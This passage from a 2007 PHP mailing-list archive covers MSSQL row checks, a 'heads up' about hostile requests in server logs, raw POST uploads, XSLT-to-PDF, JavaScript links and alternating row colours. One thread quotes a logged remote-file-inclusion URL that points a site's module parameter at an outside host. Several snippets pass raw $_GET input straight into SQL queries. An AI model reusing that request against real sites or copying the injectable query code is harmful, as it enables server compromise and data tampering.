or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; if (empty($lock_row)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Thanks! :) On 10/5/07, Aleksandar Vojnovic [EMAIL PROTECTED] wrote: I think the $lock_result is just a resource #id you haven't fetched any data yet. True? Aleksander Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
Daniel Brown wrote: Yeah, honestly I wasn't sure if it was an injection attack or if those URLs were referrers in the logs. If you hit the first URL ( http://www.vesprokat.ru/n ) with, say lynx, you get that script coming up. So it could've been referral hits. Which could mean the remote host is already infected and is now looking for more targets. -- W | It's not a bug - it's an undocumented feature. + Ashley M. Kirchner mailto:[EMAIL PROTECTED] . 303.442.6410 x130 IT Director / SysAdmin / Websmith . 800.441.3873 x130 Photo Craft Imaging . 3550 Arapahoe Ave. #6 http://www.pcraft.com . . .. Boulder, CO 80303, U.S.A. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On Fri, 2007-10-05 at 11:29 -0400, Daniel Brown wrote: Yeah, honestly I wasn't sure if it was an injection attack or if those URLs were referrers in the logs. OK sorry if I wasn't 100% clear here, but the logs showed up something like: http://fsiu.uwc.ac.za/index.php?module=http://www.goodasgold.com/nav So basically it was an XSS attempt, but because our MVC security is decent, it is just more of an annoyance than anything else (it screws up my stats man!) What I was trying to say is that *if* you didn't know about this one before, now you do. They are hitting all of our sites at a rate of knots, so are probably doing the same elsewhere. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On 10/5/07, Paul Scott [EMAIL PROTECTED] wrote: On Fri, 2007-10-05 at 11:29 -0400, Daniel Brown wrote: Yeah, honestly I wasn't sure if it was an injection attack or if those URLs were referrers in the logs. OK sorry if I wasn't 100% clear here, but the logs showed up something like: http://fsiu.uwc.ac.za/index.php?module=http://www.goodasgold.com/nav So basically it was an XSS attempt, but because our MVC security is decent, it is just more of an annoyance than anything else (it screws up my stats man!) What I was trying to say is that *if* you didn't know about this one before, now you do. They are hitting all of our sites at a rate of knots, so are probably doing the same elsewhere. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm Sounds like a Joomla exploit attempt. Either way, thanks for the heads-up, Paul. -- Daniel P. Brown [office] (570-) 587-7080 Ext. 272 [mobile] (570-) 766-8107 Give a man a fish, he'll eat for a day. Then you'll find out he was allergic and is hospitalized. See? No good deed goes unpunished -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
Daniel Brown wrote: The biggest issue does still remain: if this is on your local system, you need to figure out exactly how it got there in the first place I thought the OP said he noticed it in his logs... I understood that as someone cleverly trying to inject it somehow and it ended up in the log files. But, without further information, I'm just as clueless... -- W | It's not a bug - it's an undocumented feature. + Ashley M. Kirchner mailto:[EMAIL PROTECTED] . 303.442.6410 x130 IT Director / SysAdmin / Websmith . 800.441.3873 x130 Photo Craft Imaging . 3550 Arapahoe Ave. #6 http://www.pcraft.com . . .. Boulder, CO 80303, U.S.A. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty? I won't say anything about what others have already warned you about, but here is what I would do. ?php $request_id = intval($_GET['id']); $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '{$request_id}'; $lock_result = mssql_query($lock_query) or die('MSSQL ERROR: Lock Query Failedbr /'. mssql_get_last_message()); # ## here is the key to making this work... # checking to make sure that the query returned 0 (zero) results # http://us3.php.net/mssql_num_rows if ( mssql_num_rows($lock_result) == 0 ) { $set_lock = INSERT INTO locked_payments (id,locked_by_user) VALUES ('{$request_id}','{$current_user}'); mssql_query($set_lock) or die ('MSSQL ERROR: Insert failed:br /'. mssql_get_last_message()); } ? -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Disabling the built-in POST handler
Hello, I need to handle very large file uploads and push the data into a socket. Having php to write everything to a temporary file, then reading it again inside the script and pushing it into the socket is very inefficient and imposes size limitations to the uploaded files (which may reach GB in size). It would be much more efficient if i could disable PHP's built-in handler of POST form data and handle the incoming data directly from the script by reading php://input . (I am aware that i will need to do multi-part MIME processing inside the script, if I read directly the raw POST data sent by the browser) Is there a way to completely disable the built-in POST form data handling of PHP and handle the data inside the script by reading php://input ? Thanks in advance, Stefanos Stamatis. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Generating PDF files (XSLT, ps, XSL-FO, FOP, etc)
Larry Garfield wrote: On Friday 05 October 2007, Per Jessen wrote: Yannick Warnier wrote: but you can't generate a PDF using XML and XSLT, although XSLT is, to my understanding, made to enable export in various formats from the same XML file. XSLT is a style language, and you could quite possibly make it produce a PDF. Not quite. You would use XSLT to generate XSL:FO output. You would then use a tool like Apache FOP (or various others, free and not) to convert the XSL:FO document into a PDF. I've done this before, but it's been a while. :-) As XSL can is just a method of transforming XML into into some kind of output there is theoretically nothing stopping you using XSL to generate the full PDF I reckon. If found a really good quote the other day about XSL but I now can't find the link and it's gone from my history but it was something like: You could write a insert obscure lanaguage here parser/lexer in XSLT but I'm not going to. It's a very powerful language but the hardest part most extreme advocates find is knowing when there is a better/more practical tool for the job ;) Col -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A two flavored post
At 11:18 PM -0400 10/4/07, Nathan Nobbe wrote: On 10/4/07, tedd mailto:[EMAIL PROTECTED][EMAIL PROTECTED] wrote: Hi gang: I asked this question on the javascript list, but for some reason it's taking forever to post there. So, I figured that I would ask here as well. I'm currently sending data (the value of s) to another script via the html statement: a href=img.php?s=?php echo($value);?Click here/a However, I need to add another variable, namely a javascript variable, to the GET string. How can I send both a php and a javascript variable together at the same time? the question is when is the variable you want to append available to the javascript. as soon as you get the variable in the javascript the next thing you can do is append it to the value of the href attribute of the a tag. html head script type=text/javascript window.onload = function() { var someLinkHref = document.getElementById('someLink').href; someLinkHref += anotherVar=8; alert(someLinkHref); } /script /head body a id=someLink href= http://somesite.com?a=5http://somesite.com?a=5; click here /a /body /html if you want to use the onclick event handler as rob suggested, you could stash the variable in the Window global object, then reference it in the implementation of the onclick function (though i still have mixed feelings about that approach [the Window object part that is]). -nathan -nathan: Your example worked very well to provide an alert showing exactly what I needed to be in the href string. However, it didn't work to actually alter the actual link href string -- even when I commented out the alert. IOW, it remained: http://somesite.com?a=5http://somesite.com?a=5 instead of: http://somesite.com?a=5http://somesite.com?a=5anotherVar=8 I like the idea of keeping the code unobtrusive and working as it did -- I just need it to work as a link. Any ideas? This is so close. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Disabling the built-in POST handler
Stefanos Stamatis wrote: Hello, I need to handle very large file uploads and push the data into a socket. Having php to write everything to a temporary file, then reading it again inside the script and pushing it into the socket is very inefficient and imposes size limitations to the uploaded files (which may reach GB in size). It would be much more efficient if i could disable PHP's built-in handler of POST form data and handle the incoming data directly from the script by reading php://input . (I am aware that i will need to do multi-part MIME processing inside the script, if I read directly the raw POST data sent by the browser) Is there a way to completely disable the built-in POST form data handling of PHP and handle the data inside the script by reading php://input ? Thanks in advance, Stefanos Stamatis. no, because the upload transaction is handled by Apache/IIS. Once the file is completely uploaded, only then does php get the file handed to it. if on *nix, you could write your own daemon that listens on an alternate port and have your form post its uploads to that given port instead. Then PHP would handle the entire process. -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
At 10:38 PM -0700 10/4/07, tbt wrote: Hi I'm a newbie to php and i would like to know a way of viewing runtime errors on the browser. Currently when an error occurs nothing is displayed on the browser. Is there any way of viewing all error messages on the browser itself. Thanks tbt: Welcome to the jungle. What Paul said is correct, but you must also realize that not all errors will be shown even with the error reporting on. For example, just leaving a ; from a line termination will cause the browser window to display nothing. This was the hardest thing I had to get used to in programming php and still have problem with editing large amounts of code. So, I suggest that you go in baby steps, test frequently, back-up what worked, and comment out sections of code to eventually isolate the offending statement(s). I long for the time where my editor said Offending syntax on line 236. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A two flavored post
On 10/5/07, tedd [EMAIL PROTECTED] wrote: At 11:18 PM -0400 10/4/07, Nathan Nobbe wrote: On 10/4/07, tedd mailto:[EMAIL PROTECTED][EMAIL PROTECTED] wrote: Hi gang: I asked this question on the javascript list, but for some reason it's taking forever to post there. So, I figured that I would ask here as well. I'm currently sending data (the value of s) to another script via the html statement: a href=img.php?s=?php echo($value);?Click here/a However, I need to add another variable, namely a javascript variable, to the GET string. How can I send both a php and a javascript variable together at the same time? the question is when is the variable you want to append available to the javascript. as soon as you get the variable in the javascript the next thing you can do is append it to the value of the href attribute of the a tag. html head script type=text/javascript window.onload = function() { var someLinkHref = document.getElementById('someLink').href; someLinkHref += anotherVar=8; alert(someLinkHref); } /script /head body a id=someLink href= http://somesite.com?a=5http://somesite.com?a=5; click here /a /body /html if you want to use the onclick event handler as rob suggested, you could stash the variable in the Window global object, then reference it in the implementation of the onclick function (though i still have mixed feelings about that approach [the Window object part that is]). -nathan -nathan: Your example worked very well to provide an alert showing exactly what I needed to be in the href string. However, it didn't work to actually alter the actual link href string -- even when I commented out the alert. IOW, it remained: http://somesite.com?a=5http://somesite.com?a=5 instead of: http://somesite.com?a=5http://somesite.com?a=5anotherVar=8 I like the idea of keeping the code unobtrusive and working as it did -- I just need it to work as a link. Any ideas? This is so close. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Tedd, try this (it's also live and working at http://www.crusar.org/test.php): ? $s = $_GET['s']; ? script language=JavaScript function writeHREF(value,title) { var url = http://www.crusar.org/test.php;; var currentTime = new Date(); var month = currentTime.getMonth(); var day = currentTime.getDate(); var year = currentTime.getFullYear(); var jsvalue = month + '/' + day + '/' + year; document.write('a href=' + url + '?s=' + value + 'jsvalue=' + jsvalue + '' + title + '/a'); } /script This is where your JS link will appear, Tedd: script language=JavaScript writeHREF('?=$s;?','Test Link'); /script -- Daniel P. Brown [office] (570-) 587-7080 Ext. 272 [mobile] (570-) 766-8107 Give a man a fish, he'll eat for a day. Then you'll find out he was allergic and is hospitalized. See? No good deed goes unpunished -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A two flavored post
This might be a way to do it: *Example 1* script function appendMeBaby(aVar){ self.location.href = 'img.php?s=' + aVar + 'someOtherVar=itIsMeTheValue'; } /script a href=javascript:appendMeBaby(?php echo($value);?);Click here/a *Example 2* script function appendMeBaby(aVar, bVar){ self.location.href = 'img.php?s=' + aVar + 'someOtherVar=' + bVar; } /script a href=javascript:appendMeBaby(?php echo($value);?, 'itIsMeTheOtherValue');Click here/a Hope this helps Aleksandar Daniel Brown wrote: On 10/5/07, tedd [EMAIL PROTECTED] wrote: At 11:18 PM -0400 10/4/07, Nathan Nobbe wrote: On 10/4/07, tedd mailto:[EMAIL PROTECTED][EMAIL PROTECTED] wrote: Hi gang: I asked this question on the javascript list, but for some reason it's taking forever to post there. So, I figured that I would ask here as well. I'm currently sending data (the value of s) to another script via the html statement: a href=img.php?s=?php echo($value);?Click here/a However, I need to add another variable, namely a javascript variable, to the GET string. How can I send both a php and a javascript variable together at the same time? the question is when is the variable you want to append available to the javascript. as soon as you get the variable in the javascript the next thing you can do is append it to the value of the href attribute of the a tag. html head script type=text/javascript window.onload = function() { var someLinkHref = document.getElementById('someLink').href; someLinkHref += anotherVar=8; alert(someLinkHref); } /script /head body a id=someLink href= http://somesite.com?a=5http://somesite.com?a=5; click here /a /body /html if you want to use the onclick event handler as rob suggested, you could stash the variable in the Window global object, then reference it in the implementation of the onclick function (though i still have mixed feelings about that approach [the Window object part that is]). -nathan -nathan: Your example worked very well to provide an alert showing exactly what I needed to be in the href string. However, it didn't work to actually alter the actual link href string -- even when I commented out the alert. IOW, it remained: http://somesite.com?a=5http://somesite.com?a=5 instead of: http://somesite.com?a=5http://somesite.com?a=5anotherVar=8 I like the idea of keeping the code unobtrusive and working as it did -- I just need it to work as a link. Any ideas? This is so close. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Tedd, try this (it's also live and working at http://www.crusar.org/test.php): ? $s = $_GET['s']; ? script language=JavaScript function writeHREF(value,title) { var url = http://www.crusar.org/test.php;; var currentTime = new Date(); var month = currentTime.getMonth(); var day = currentTime.getDate(); var year = currentTime.getFullYear(); var jsvalue = month + '/' + day + '/' + year; document.write('a href=' + url + '?s=' + value + 'jsvalue=' + jsvalue + '' + title + '/a'); } /script This is where your JS link will appear, Tedd: script language=JavaScript writeHREF('?=$s;?','Test Link'); /script -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A two flavored post
strange; i missed that when i put it together; my bad, it was late. here is a revision that works. html head script type=text/javascript window.onload = function() { var someLink = document.getElementById('someLink'); someLink.href += anotherVar=8; alert(document.getElementById('someLink').href); } /script /head body a id=someLink href= http://somesite.com?a=5; click here /a /body /html the problem was the local variable was being assigned the value of the attribute, not the reference to the tag in the dom. i have now set it to be a reference to the variable in the dom. -nathan On 10/5/07, tedd [EMAIL PROTECTED] wrote: At 11:18 PM -0400 10/4/07, Nathan Nobbe wrote: On 10/4/07, tedd mailto:[EMAIL PROTECTED][EMAIL PROTECTED] wrote: Hi gang: I asked this question on the javascript list, but for some reason it's taking forever to post there. So, I figured that I would ask here as well. I'm currently sending data (the value of s) to another script via the html statement: a href=img.php?s=?php echo($value);?Click here/a However, I need to add another variable, namely a javascript variable, to the GET string. How can I send both a php and a javascript variable together at the same time? the question is when is the variable you want to append available to the javascript. as soon as you get the variable in the javascript the next thing you can do is append it to the value of the href attribute of the a tag. html head script type=text/javascript window.onload = function() { var someLinkHref = document.getElementById ('someLink').href; someLinkHref += anotherVar=8; alert(someLinkHref); } /script /head body a id=someLink href= http://somesite.com?a=5http://somesite.com?a=5; click here /a /body /html if you want to use the onclick event handler as rob suggested, you could stash the variable in the Window global object, then reference it in the implementation of the onclick function (though i still have mixed feelings about that approach [the Window object part that is]). -nathan -nathan: Your example worked very well to provide an alert showing exactly what I needed to be in the href string. However, it didn't work to actually alter the actual link href string -- even when I commented out the alert. IOW, it remained: http://somesite.com?a=5http://somesite.com?a=5 instead of: http://somesite.com?a=5http://somesite.com?a=5anotherVar=8 I like the idea of keeping the code unobtrusive and working as it did -- I just need it to work as a link. Any ideas? This is so close. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Alternate Colors in Rows ($r=!$r)
Daevid Vincent wrote: TR class=?php echo ($r = !$r) ? dataRow1 : dataRow2; ? I love the simplicity, and very cool. But why does the ($r=!$r) ternary condition work?. (I understand that it DOES but not WHY.) TIA, Jeff -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A two flavored post
On Fri, 2007-10-05 at 19:19 +0200, Aleksandar Vojnovic wrote: This might be a way to do it: *Example 1* script function appendMeBaby(aVar){ self.location.href = 'img.php?s=' + aVar + 'someOtherVar=itIsMeTheValue'; } /script a href=javascript:appendMeBaby(?php echo($value);?);Click here/a *Example 2* script function appendMeBaby(aVar, bVar){ self.location.href = 'img.php?s=' + aVar + 'someOtherVar=' + bVar; } /script a href=javascript:appendMeBaby(?php echo($value);?, 'itIsMeTheOtherValue');Click here/a I don't believe that is standards-compliant use of the href attribute. Also it doesn't degrade gracefully for people who have JavaScript disabled. Cheers, Rob. -- ... SwarmBuy.com - http://www.swarmbuy.com Leveraging the buying power of the masses! ... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Alternate Colors in Rows ($r=!$r)
On Fri, 2007-10-05 at 14:00 -0500, Jeff Cohan wrote: Daevid Vincent wrote: TR class=?php echo ($r = !$r) ? dataRow1 : dataRow2; ? I love the simplicity, and very cool. But why does the ($r=!$r) ternary condition work?. (I understand that it DOES but not WHY.) Because he's rotating between boolean values. $r = true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; ... Cheers, Rob. -- ... SwarmBuy.com - http://www.swarmbuy.com Leveraging the buying power of the masses! ... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
[snip] But why does the ($r=!$r) ternary condition work?. (I understand that it DOES but not WHY.) Because he's rotating between boolean values. $r = true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; ... [/snip] We just did that proof in the office as well. With a little echoing you will see that when $r is TRUE it is set to 1, when it is false it is set to NULL. But it still should not work logically because you are performing an assignment in the IF (it doesn't have to be ternary to work, that is just elegant). ?php echo pre; echo ($r = !$r)?Yes\n:No\n; echo $r.\n; echo ($r = !$r)?Yes:No; echo $r.\n; if($r = !$r){ echo Yes\n; }else{ echo No\n; } echo $r.\n; if($r = !$r){ echo Yes\n; }else{ echo No\n; } echo $r.\n; echo /pre; ? Returns Yes 1 No Yes 1 No Yes 1 No Yes 1 No It looks like PHP has an unintentional feature. Doing this; if($r = !$r) should always return TRUE because it is an assignment. I don't know if I would rely on this. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Alternate Colors in Rows ($r=!$r)
Jay Blanchard wrote: We just did that proof in the office as well. With a little echoing you will see that when $r is TRUE it is set to 1, when it is false it is set to NULL. But it still should not work logically because you are performing an assignment in the IF (it doesn't have to be ternary to work, that is just elegant). but, remember that the OP originally was doing this in a echo statement echo 'td class=rowColor'.($r=!$r).'.../td'; Not sure if the (...) part considered an inline conditional statement at this point or not. What say you? -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
[snip] But why does the ($r=!$r) ternary condition work?. (I understand that it DOES but not WHY.) [/snip] Check this out - http://us3.php.net/manual/en/language.operators.assignment.php It says the value of the assignment is the value assigned, so maybe assignments to anything other than 0 (or false) return true while assignments to 0 (or false) return false. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
On Fri, 2007-10-05 at 13:46 -0500, Jay Blanchard wrote: [snip] But why does the ($r=!$r) ternary condition work?. (I understand that it DOES but not WHY.) [/snip] Check this out - http://us3.php.net/manual/en/language.operators.assignment.php It says the value of the assignment is the value assigned, so maybe assignments to anything other than 0 (or false) return true while assignments to 0 (or false) return false. The value of the expression is the value assigned. Since the ! operator will always return a boolean then the assigned value is going to be a boolean. So $r will always contain a boolean for the purposes of the ternary operation. Cheers, Rob. -- ... SwarmBuy.com - http://www.swarmbuy.com Leveraging the buying power of the masses! ... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
[snip] The value of the expression is the value assigned. Since the ! operator will always return a boolean then the assigned value is going to be a boolean. So $r will always contain a boolean for the purposes of the ternary operation. [/snip] And it also work if the statement is not ternary -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Alternate Colors in Rows ($r=!$r)
On Fri, 2007-10-05 at 14:49 -0400, Nathan Nobbe wrote: On 10/5/07, Jay Blanchard [EMAIL PROTECTED] wrote: It looks like PHP has an unintentional feature. Doing this; if($r = !$r) should always return TRUE because it is an assignment. I don't know if I would rely on this. its not an unintentional operation; its the order of operations. logical ! and the ternary ? : takes precedence over the assignment statement = http://us.php.net/manual/en/language.operators.php personally, i wont argue w/ the compact nature of the statement; its nice. its mysterious statements like this that make code fragile, imho. i prefer the modulus approach. Actually the code used wrapped the assignment in parenthesis to ensure the assignment occurred before the ternary operator. His code is elegant, and very clear. Cheers, Rob. -- ... SwarmBuy.com - http://www.swarmbuy.com Leveraging the buying power of the masses! ... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
[snip] The value of the expression is the value assigned. Since the ! operator will always return a boolean then the assigned value is going to be a boolean. So $r will always contain a boolean for the purposes of the ternary operation. And it also work if the statement is not ternary [/snip] And now for a little clarity. THIS is not a ternary if($r = !$r) it is a conditional test. ? foo : bar; ...is the ternary operation. Just wanted to clean up the usage there. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Disabling the built-in POST handler
On 10/5/07, Stefanos Stamatis [EMAIL PROTECTED] wrote: Hello, I need to handle very large file uploads and push the data into a socket. Having php to write everything to a temporary file, then reading it again inside the script and pushing it into the socket is very inefficient and imposes size limitations to the uploaded files (which may reach GB in size). It would be much more efficient if i could disable PHP's built-in handler of POST form data and handle the incoming data directly from the script by reading php://input . (I am aware that i will need to do multi-part MIME processing inside the script, if I read directly the raw POST data sent by the browser) Is there a way to completely disable the built-in POST form data handling of PHP and handle the data inside the script by reading php://input ? You might look at $HTTP_POST_RAW_DATA. Not sure but it might help. Also, I thought you could use a stream as the data comes via STDIN... I swear I've seen that before. I don't think you really want to disable the handler, more like use an alternative and ignore the default. If you find a solution I'd be interested personally, I have the opportunity to accept large files as well and it would be nice to figure that part out, especially glued together with the upload progress capabilities. It might depend on the SAPI how uploaded files are actually handled, which could become useful in the hunt for a solution. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
On Fri, 2007-10-05 at 14:04 -0500, Jay Blanchard wrote: [snip] The value of the expression is the value assigned. Since the ! operator will always return a boolean then the assigned value is going to be a boolean. So $r will always contain a boolean for the purposes of the ternary operation. And it also work if the statement is not ternary [/snip] And now for a little clarity. THIS is not a ternary if($r = !$r) it is a conditional test. ? foo : bar; ...is the ternary operation. Just wanted to clean up the usage there. Did I miss something? The code I saw was the following: TR class=?php echo ($r = !$r) ? dataRow1 : dataRow2; ? And that is definitely using the ternary operator. At any rate, in the above where you have: if($r = !$r) The rules are the same and the value received by the if conditional will always be a boolean. Cheers, Rob. -- ... SwarmBuy.com - http://www.swarmbuy.com Leveraging the buying power of the masses! ... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
[snip] if($r = !$r) [/snip] And I hit send before I finished my thought process oh my goodness isn't it five o'clock yet and why do all of these people keep coming by my office distracting me from getting something useful done like replying the PHP list and why doesn't someone bring me a beer? if($r = !$r) is a conditional check that most folks would read as follows; if the assignment of $r to !$r occurs the statement is TRUE. Since PHP is loosely typed we all know that an assignment will occur regardless of what is assigned. That why we use additional operators to determine the TRUEness of a statement; if($r == !$r) or if($r === !$r) That is why we code conditional checks (if we're smart) by putting the constant on the left hand side of the check to reduce/locate typographical errors when coding conditional checks; if(1 == $foo), because if we assign $foo to 1 the compiler will throw an error and we can fix it pretty quickly. This is one of those special cases where this logic gets thrown out. I am going to see if the same thing will work in C++ because I am pretty sure that no other language has this featuremaybe C. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
[snip] if($r = !$r) it is a conditional test. ? foo : bar; ...is the ternary operation. Just wanted to clean up the usage there. Did I miss something? The code I saw was the following: TR class=?php echo ($r = !$r) ? dataRow1 : dataRow2; ? And that is definitely using the ternary operator. [/snip] No, you didn't miss anything. I was just pointing out that the ternary operation starts with the ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] OpenSSL problem
Any time I compile PHP 4.4.7 with --with-ssl my apache 1.3.39 server core dumps on my FreeBSD 6.1 box. Anyone have a work around for this or suggestions where to look? I was having a similar problem with Curl, but once I told curl where the OpenSSL home dir was that solved that problem. The location of my openSSL is /usr/local, so it's in the 'default' location. Here's my build options/script: ./configure \ --with-apxs \ --with-gd \ --with-gd-dir=/usr/local \ --with-gettext \ --with-jpeg-dir=/usr/local/lib \ --with-mcrypt \ --with-mhash \ --with-mysql=/usr/local/mysql \ --with-pear \ --with-png-dir=/usr/local/lib \ --with-xml \ --with-zlib \ --with-zlib-dir=/usr/local/lib \ --with-zip \ --enable-bcmath \ --enable-calendar \ --enable-ftp \ --enable-magic-quotes \ --enable-sockets \ --enable-track-vars \ --enable-mbstring \ --with-curl \ --with-curl-dir=/usr/local/lib \ --with-imap=/usr/local/imap-2000e \ --with-imap-ssl \ --with-openssl \ --enable-memory-limit -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Alternate Colors in Rows ($r=!$r)
First, I am flattered for all the elegant comments. Honestly, this is PHP 102 level stuff, so I don't see all the fuss. Yes it is the ternary operator -- I'm a big fan of that one. (http://us.php.net/manual/en/language.expressions.php) In the below example, (while sloppy on my part), by NOT initializing the $r, it defaults to Boolean 'false' (not true as in the example), therefore !$r will be Boolean true. So this just keeps bouncing between the two each time. http://us.php.net/manual/en/language.variables.php It is not necessary to initialize variables in PHP however it is a very good practice. Uninitialized variables have a default value of their type - FALSE, zero, empty string or an empty array. ?php echo ($unset_bool ? true : false); // false $unset_int += 25; // 0 + 25 = 25 echo $unset_string . abc; // . abc = abc $unset_array[3] = def; // array() + array(3 = def) = array(3 = def) ? Anyways, I think everyone has analyzed this to death, and it's time for ya'll to get back to work! :) Just add it to your arsenal of 'snippets' and move on with your lives. HAHAH. Peace out yo. D.Vin http://daevid.com -Original Message- From: Jay Blanchard [mailto:[EMAIL PROTECTED] Sent: Friday, October 05, 2007 11:39 AM To: Robert Cummings; Jeff Cohan Cc: php-general@lists.php.net Subject: RE: [PHP] Alternate Colors in Rows ($r=!$r) [snip] But why does the ($r=!$r) ternary condition work?. (I understand that it DOES but not WHY.) Because he's rotating between boolean values. $r = true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; $r = !$r;// Now $r is false; $r = !$r;// Now $r is true; ... [/snip] We just did that proof in the office as well. With a little echoing you will see that when $r is TRUE it is set to 1, when it is false it is set to NULL. But it still should not work logically because you are performing an assignment in the IF (it doesn't have to be ternary to work, that is just elegant). ?php echo pre; echo ($r = !$r)?Yes\n:No\n; echo $r.\n; echo ($r = !$r)?Yes:No; echo $r.\n; if($r = 